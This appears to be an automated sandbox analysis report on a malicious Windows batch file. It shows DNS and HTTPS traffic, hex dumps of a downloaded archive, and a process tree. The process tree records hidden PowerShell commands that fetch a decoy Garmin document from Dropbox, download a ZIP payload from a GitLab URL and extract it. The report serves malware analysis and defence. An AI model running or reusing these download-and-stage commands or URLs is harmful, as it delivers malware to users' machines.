Dec 19, 2024 14:14:05.166389942 CET	192.168.2.9	1.1.1.1	0xf9d8	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:14:08.008546114 CET	192.168.2.9	1.1.1.1	0x914d	Standard query (0)	uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:14:12.491379976 CET	192.168.2.9	1.1.1.1	0x7505	Standard query (0)	gitlab.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 14:13:58.111165047 CET	1.1.1.1	192.168.2.9	0xc5a7	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 14:13:58.111165047 CET	1.1.1.1	192.168.2.9	0xc5a7	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:14:05.308413029 CET	1.1.1.1	192.168.2.9	0xf9d8	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 14:14:05.308413029 CET	1.1.1.1	192.168.2.9	0xf9d8	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:14:08.319933891 CET	1.1.1.1	192.168.2.9	0x914d	No error (0)	uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 14:14:08.319933891 CET	1.1.1.1	192.168.2.9	0x914d	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:14:12.628509045 CET	1.1.1.1	192.168.2.9	0x7505	No error (0)	gitlab.com		172.65.251.78	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49717	162.125.69.18	443	7708	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:14:06 UTC	192	OUT	GET /scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: Keep-Alive
2024-12-19 13:14:07 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: base-uri 'self' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https:// [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com/cd/0/get/CgijYi4OcK2CyCBSchTDdc5lDd_xOwvzoNJy8Cmn7jGJL2jUNOaB2A156uVfebdE7U_c41KBTQ75ct_XwayrIMUxKIpjc84GFKzPzNLPjzIbiGnK39JffgT9ycFj98817P5vuQF2y-5Lzg-G00vII6ew/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTk1NTkwNTc3NzU4OTg4NjY0NjAwNjY2OTA4MTIyNTQ5NDI4NTg5; Path=/; Expires=Tue, 18 Dec 2029 13:14:07 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=8envpdSQNoPJE9PNlOXlvnrb; Path=/; Domain=dropbox.com; Expires=Fri, 19 Dec 2025 13:14:07 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=8envpdSQNoPJE9PNlOXlvnrb; Path=/; Expires=Fri, 19 Dec 2025 13:14:07 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=h3CK322XMY; Path=/; Expires=Fri, 19 Dec 2025 13:14:07 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Tue, 18 Dec 2029 13:14:07 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Thu, 19 Dec 2024 13:14:07 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: ab3b53bbd5014298aeaa09976d04bc1d Connection: close
2024-12-19 13:14:07 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49736	172.65.251.78	443	7968	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:14:13 UTC	95	OUT	GET /fgh8090051/jgh/-/raw/main/F1912.zip HTTP/1.1 Host: gitlab.com Connection: Keep-Alive
2024-12-19 13:14:14 UTC	445	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:14:14 GMT Content-Type: application/octet-stream Content-Length: 68976485 Connection: close CF-Ray: 8f47a78e5e0442db-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Cache-Control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 Content-Disposition: attachment ETag: "eab6e8785ae3b093fadd5f64bd7a2591" Strict-Transport-Security: max-age=31536000
2024-12-19 13:14:14 UTC	2134	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2024-12-19 13:14:14 UTC	494	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 56 76 39 34 51 67 34 74 4a 4c 47 32 37 66 38 55 33 54 4a 57 55 37 4c 35 59 75 78 53 75 4d 45 79 30 72 33 6d 6c 75 72 45 46 37 59 47 41 4d 4f 70 32 6a 45 7a 4a 52 55 5a 59 32 44 78 63 62 74 52 78 49 76 45 4f 31 73 37 41 4f 72 74 61 73 30 78 51 78 69 39 70 4e 47 4f 34 37 30 62 78 65 54 73 76 68 53 31 55 38 70 30 67 74 53 74 43 30 4c 36 70 57 69 69 76 67 37 42 73 53 34 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vv94Qg4tJLG27f8U3TJWU7L5YuxSuMEy0r3mlurEF7YGAMOp2jEzJRUZY2DxcbtRxIvEO1s7AOrtas0xQxi9pNGO470bxeTsvhS1U8p0gtStC0L6pWiivg7BsS4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"succ
2024-12-19 13:14:14 UTC	1034	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 5c b1 46 58 b9 e1 db da 47 27 00 00 0a 90 00 00 0b 00 00 00 4c 49 43 45 4e 53 45 2e 74 78 74 dc 5c 5d 73 db b8 92 7d 47 15 ff 03 4a 2f b1 eb d2 8c e5 4c 32 93 49 6d ed ca 12 6d f3 ae 2d 79 29 29 99 dc a7 4b 49 90 85 09 45 68 08 d2 1a cd af df ee 06 c0 0f 59 76 ec cc 57 ed 2a 55 8a 44 11 8d 46 a3 d1 7d 4e 03 74 2f e0 57 d1 78 32 8a 3f f3 d1 05 9f 5c 85 7c 3c ba 98 7c ea c5 a1 c7 fe e3 d1 97 c7 3c 76 bb 2b 56 2a e3 db 44 f3 79 2e 92 42 2c b8 cc 78 b1 12 5c 24 79 ba e3 dd f7 ef 4f 35 9f ed f8 65 29 17 8a df 27 19 8f 95 d6 e5 9a 27 05 1f 17 72 be 2a 64 76 e7 b1 9b 04 da ac 93 42 ea f9 8a f7 45 56 e4 70 cb 51 ff 53 e4 73 2d 04 5f 15 c5 46 ff f8 fa f5 76 bb 0d e6 5b 19 64 e9 b1 eb 67 28 e0 3d 4f 93 6c a1 3d 06 6a 24 5c 97 f3 b9 d0 Data Ascii: PK\FXG'LICENSE.txt\]s}GJ/L2Imm-y))KIEhYvWUDF}Nt/Wx2?\\|<\|<v+VDy.B,x\$yO5e)''r*dvBEVpQSs-_Fv[dg(=Ol=j$\
2024-12-19 13:14:14 UTC	1369	IN	Data Raw: 7e a9 6d 5a cc ee 5c 54 81 98 29 72 a3 12 ae 4d 90 04 21 a1 11 75 52 39 87 80 22 20 3a 97 59 2a bf 08 77 97 cf 53 51 f0 9d 2a 6b a9 c2 88 49 20 86 2c 20 4c 8a 85 4b 57 7c 2b 31 53 83 42 c9 17 ec 1a 5a e5 7c be 82 f4 0f 1e 84 01 8b db 88 c5 f9 64 65 a5 ec 0d c9 a9 81 22 04 26 fc 0d 80 15 fa a5 c0 0c be 9e c9 ac ca 08 d8 9b 11 42 49 9f bb 1c 69 4c 21 75 9d 56 69 f0 6e 44 26 70 19 9c 00 26 04 03 52 60 02 0f e7 bd 39 24 ce 05 aa 0e bd c5 90 a4 92 7c 01 20 09 a2 23 c0 0d df 2e 1e a9 29 64 b6 15 f7 8d 22 98 d3 4a 8d 8a 6b 37 14 be a2 0c 30 5f 29 f8 8e 61 3f 4d b6 7c 9e e2 6d 01 6f f5 68 44 18 48 b1 52 5b 84 02 7e d5 fb 2b 8d 0d 77 22 27 79 85 4a 17 74 67 7d 99 06 4d 1a 1a 39 a0 66 27 53 84 98 2a 2d 3b 64 33 67 08 1a f6 04 a6 e7 0b 0a a4 ab 84 aa 60 06 b5 5c 40 Data Ascii: ~mZ\T)rM!uR9" :YwSQkI , LKW\|+1SBZ\|de"&BIiL!uVinD&p&R`9$\| #.)d"Jk70_)a?M\|mohDHR[~+w"'yJtg}M9f'S*-;d3g`\@
2024-12-19 13:14:14 UTC	1369	IN	Data Raw: fc 18 0e 79 74 c1 7b 83 8f d0 70 e0 6a 91 60 c6 71 64 8d 6e ef 25 8b bc 73 69 f4 41 20 dc ca 94 ea 77 0a 2b 8a 54 71 a0 64 03 39 ab 80 28 bc 41 3f 04 87 85 4b 32 49 c1 0f 73 91 cc 57 18 2c 31 89 1d ca 4a d4 dd f7 01 1f c2 b2 43 2f a7 d2 e3 c1 9e f5 0a 7a 83 1c ce 17 78 81 2a 50 a6 ac 83 6b 8d 6a 1b a6 0a b5 92 1b aa 4e de 89 6c be f3 29 20 64 22 c7 cb 3e 06 89 9f 15 c0 1d 8e f1 a7 cc 45 05 09 70 fe 29 d9 56 01 8b 3f 66 01 e4 66 c4 13 28 51 62 3e 5b 4b ad 2d 44 a6 3c 34 be 80 d5 9d 27 0b 01 6b fd 8b c6 4e e9 1b cf 92 b5 89 0d bc fa 95 6b 97 32 45 b6 50 b9 a6 d8 0a 71 67 ad 90 8c 99 24 5a 90 08 0c cc a0 0b a5 71 a7 a4 ef a2 1e 98 2c 5f d0 50 77 64 d0 1f 02 7e be a3 04 05 36 f5 a1 4f 5d 58 5c 86 a5 db 46 d6 ac 03 8b 5f 49 f5 58 1d d1 c0 dc 33 cc 15 18 cb 9f Data Ascii: yt{pj`qdn%siA w+Tqd9(A?K2IsW,1JC/zx*PkjNl) d">Ep)V?ff(Qb>[K-D<4'kNk2EPqg$Zq,_Pwd~6O]X\F_IX3
2024-12-19 13:14:14 UTC	1369	IN	Data Raw: ac 34 ff ce e7 6f 4d 92 f9 fe 71 24 fc 90 75 7b ec 85 fb 11 fb ac db 63 2f db 8f a0 40 76 80 73 7b ec 1b 36 24 48 58 8b 71 7b ec 9b 76 24 9a 84 db 63 df b2 23 01 fe 41 39 d1 2e cb 0e 9e 09 ba 9d 74 f0 b8 2a 12 32 73 6e 5a 66 0b 49 b8 8b a4 cd 6a 12 ec b1 e7 ec 64 d8 d8 59 67 d7 26 09 f6 d8 8b 59 30 6f 93 60 77 96 cf a8 6e 69 f1 a7 af b0 62 73 1e 75 72 15 8f a6 97 57 78 a0 f4 d9 0c b9 f1 a2 9e 9a 94 82 8e b2 f2 13 7b 18 be 3a f3 cf 0f 1e f9 ef ad 01 93 e6 8b 64 ed 9b 73 3c 8d d3 fd f6 c0 60 6e 0e 01 e4 96 61 d0 68 6f f7 bd c9 a7 d9 f0 cd 11 c1 9d 59 4b 75 68 d8 3b e3 62 89 eb fe 26 c3 d2 41 bf 12 02 91 36 b7 b9 13 86 4b 41 15 ef 26 0b 15 8b 46 dd bc ae 96 9b 83 97 75 44 b7 4c 0c 02 34 9e 34 36 75 39 fc 59 0a 33 c3 d8 10 a7 bf 58 19 19 0f 5b d2 4d 52 37 97 Data Ascii: 4oMq$u{c/@vs{6$HXq{v$c#A9.t*2snZfIjdYg&Y0o`wnibsurWx{:ds<`nahoYKuh;b&A6KA&FuDL446u9Y3X[MR7
2024-12-19 13:14:14 UTC	1369	IN	Data Raw: d4 27 3e fb ee 04 37 5f f9 3f cb 54 e2 13 ed 10 e2 c0 20 0b c3 50 d9 3e 43 65 fb 21 c8 66 d6 c6 09 38 bc d2 d8 4b d5 fe 3e 44 64 e6 61 b7 79 43 29 e2 45 05 8e a6 1d 7d da fb 29 75 c5 80 61 a3 b5 28 7e 64 b8 99 dd 56 89 ca 09 56 17 4a 9f 36 e9 20 8b 3b 44 63 19 e7 36 56 f9 34 df f4 88 8d d9 5e 74 dd 55 db d1 b5 2e d0 e3 3c 4d 60 f5 e6 60 93 33 e3 9e 0a e4 c9 0c 9b b6 31 33 29 60 f9 26 a0 6f dc a3 05 7b 22 2e fe 50 67 45 ab 06 27 a9 75 ec dd 62 a2 e3 45 25 3d 49 2b b9 f8 74 b7 01 01 38 01 d4 25 0a 69 1e 4a 4c 5c 01 09 5d 82 27 73 dc 12 4b c5 e2 8e ca 58 d6 1c f6 0e 6a db ae 1a 6c 55 09 89 64 46 64 3c 17 d6 dd f0 39 67 fb dc 9e cd 9a e8 15 6f 02 b3 8b 29 16 ce f4 d5 73 f7 34 3a 10 02 81 4c 62 20 31 eb 05 57 0e 56 7e 8d af e2 3d d8 ff 41 23 e1 ad 33 81 46 3f Data Ascii: '>7_?T P>Ce!f8K>DdayC)E})ua(~dVVJ6 ;Dc6V4^tU.<M``313)`&o{".PgE'ubE%=I+t8%iJL\]'sKXjlUdFd<9go)s4:Lb 1WV~=A#3F?
2024-12-19 13:14:14 UTC	1369	IN	Data Raw: ed fe a6 f3 2e d4 da 35 e0 94 e1 5f d7 28 78 84 03 58 17 bc d5 95 56 43 41 bb 59 a1 a1 40 17 b0 9a 2c c6 b7 ce 62 83 45 e8 d0 13 99 a8 84 75 b1 d9 36 c6 a2 b1 ec 9f e3 75 3e 64 1f 8c 28 fc 1d 05 c6 81 27 74 c8 ae 1d 00 02 01 34 a5 47 d6 cb a8 85 47 73 d9 5c f8 9b 92 7f 84 b6 79 dc c4 0b 1e ca e2 49 0a 91 de 5c 21 42 5a c0 01 ab 91 3d 9e eb 06 61 37 03 33 4d c5 c7 d3 55 cf 57 90 92 9e e9 55 91 a7 dd ee 26 9e fb c7 ba f9 3c 50 14 d4 4d 6f cd ea 09 f6 5d 38 12 85 f6 23 0b 07 82 04 c8 73 eb 41 78 03 6a e8 54 ad b4 36 a0 3d b0 ba 46 e8 0c 0c 25 51 7b d6 18 02 5d d3 75 70 fb ac 60 76 c2 af d0 38 c8 2b e9 c2 92 16 06 1c ca 56 ea e1 cd 8d 77 be 8b 5b 6a 72 36 b3 a2 38 0a 80 2a 90 4a 3b ed ef 05 18 66 5c 10 2c 01 21 45 82 e8 23 63 f1 70 5a cf 9e 54 d8 47 44 9e 56 Data Ascii: .5_(xXVCAY@,bEu6u>d('t4GGs\yI\!BZ=a73MUWU&<PMo]8#sAxjT6=F%Q{]up`v8+Vw[jr68*J;f\,!E#cpZTGDV
2024-12-19 13:14:14 UTC	1369	IN	Data Raw: 2d 1d d6 76 a8 2f 68 2e 29 c1 7a 1e 20 5d 4b 67 5c d0 a3 d2 c5 6d a7 f0 43 7f 2f 59 3a f5 ba 77 80 bd 05 e5 87 7d 29 8c e6 c2 65 10 78 90 52 bc bf da 3b b9 f8 49 28 0e b6 5b 74 d2 7b 48 a1 62 1d b4 0f dc a9 1b a4 b2 67 80 ba c9 46 44 9d 8b 5d 68 e2 66 8b dd 3e 49 ad fb c7 06 ad 0c 28 b5 c6 25 c3 ea a6 27 58 dd a4 2b 54 41 cc 0f 6a 27 a9 56 84 30 20 b0 f8 a0 d4 46 64 6d 96 1d 2d 0c f2 c5 35 72 98 97 c6 f7 05 3b a6 c7 10 ed 05 4e 8b 1a 47 d5 85 2b 25 5f ad e0 ff 1b 70 94 ec d6 b4 64 84 7b 96 d2 43 0e 05 f5 9c da b4 d8 ec c1 4c 0b 5d 31 88 92 ac 56 ae 5a 6d af c5 c8 8d 76 8e 68 1a 54 2b ba a8 03 35 87 52 ce 03 5c 7b f4 60 e5 15 63 69 d0 56 68 b6 83 8d 48 c2 d9 9f 23 19 15 94 6a 53 b2 72 b9 55 00 fd 3d ba 2f ed 8a 00 15 9e 8c 65 bb 1e e9 a3 3c 6a f4 0b 9d f1 Data Ascii: -v/h.)z ]Kg\mC/Y:w})exR;I([t{HbgFD]hf>I(%'X+TAj'V0 Fdm-5r;NG+%_pd{CL]1VZmvhT+5R\{`ciVhH#jSrU=/e<j
2024-12-19 13:14:14 UTC	1369	IN	Data Raw: 75 70 16 c7 fa 69 a4 77 b6 d3 b0 6e 35 a1 ec 6e 3d 75 10 46 1f 54 d3 0e 7a 08 8e b4 cc e0 e3 4c 6f 44 08 1c cc a6 77 9c 06 a8 76 91 7b d8 42 4b 7f 4d b2 87 7a 4e 6d 0f 89 5b 9e 73 4e 52 a5 1f d9 db 40 31 aa 9e 41 28 c1 96 3e 44 f4 ab 75 7c c9 27 b3 72 e2 f6 7d c3 3d 5a 34 b2 40 24 e6 0a 2e 78 50 13 b4 63 70 34 62 30 6c 1e 36 ec b9 ab 5c 2f 0e 4e 75 d1 95 fb c2 0f 23 22 b2 a4 2f b4 06 64 93 74 a1 2a 9a b6 c3 0e af 30 33 54 19 b0 79 28 b8 84 94 c8 7a a1 43 79 2f d2 59 d1 b2 e7 11 c8 f9 f2 5c fb ad 7d a2 fe 17 c3 8a 17 ad 72 b1 a5 2f fb ba 03 4c 12 c1 35 8f 17 75 d8 5e 1f 97 17 71 b7 88 b1 ce d0 17 c3 1e 66 76 66 6f 0f 7f 3b f6 d3 39 3e eb 95 86 4c 92 3b 6a 43 26 70 fc 0c 91 08 4d 0c bf c0 19 bf 3e 79 e5 e5 f8 49 cb 87 80 33 5b c9 34 49 1e 5e ca 74 77 0f 87 Data Ascii: upiwn5n=uFTzLoDwv{BKMzNm[sNR@1A(>Du\|'r}=Z4@$.xPcp4b0l6\/Nu#"/dt*03Ty(zCy/Y\}r/L5u^qfvfo;9>L;jC&pM>yI3[4I^tw

Target ID:	0
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hnghksdjfhs19De.bat" "
Imagebase:	0x7ff6fa500000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp.com 437
Imagebase:	0x7ff6f8a50000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c type tmp
Imagebase:	0x7ff6fa500000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find
Imagebase:	0x7ff72ec80000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fiNdstr /L /I set "C:\Users\user\Desktop\hnghksdjfhs19De.bat"
Imagebase:	0x7ff7178e0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fiNdstr /L /I goto "C:\Users\user\Desktop\hnghksdjfhs19De.bat"
Imagebase:	0x7ff7178e0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fiNdstr /L /I echo "C:\Users\user\Desktop\hnghksdjfhs19De.bat"
Imagebase:	0x7ff7178e0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fiNdstr /L /I pause "C:\Users\user\Desktop\hnghksdjfhs19De.bat"
Imagebase:	0x7ff7178e0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:14:01
Start date:	19/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find
Imagebase:	0x7ff72ec80000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:14:02
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c type tmp
Imagebase:	0x7ff6fa500000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7708, Parent PID: 7468

General

Target ID:	12
Start time:	08:14:02
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:14:10
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx'"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:14:11
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip', 'C:\Users\Public\Document.zip')"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:16:05
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF887E035A1 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1432584479.00007FF887E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff887e00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
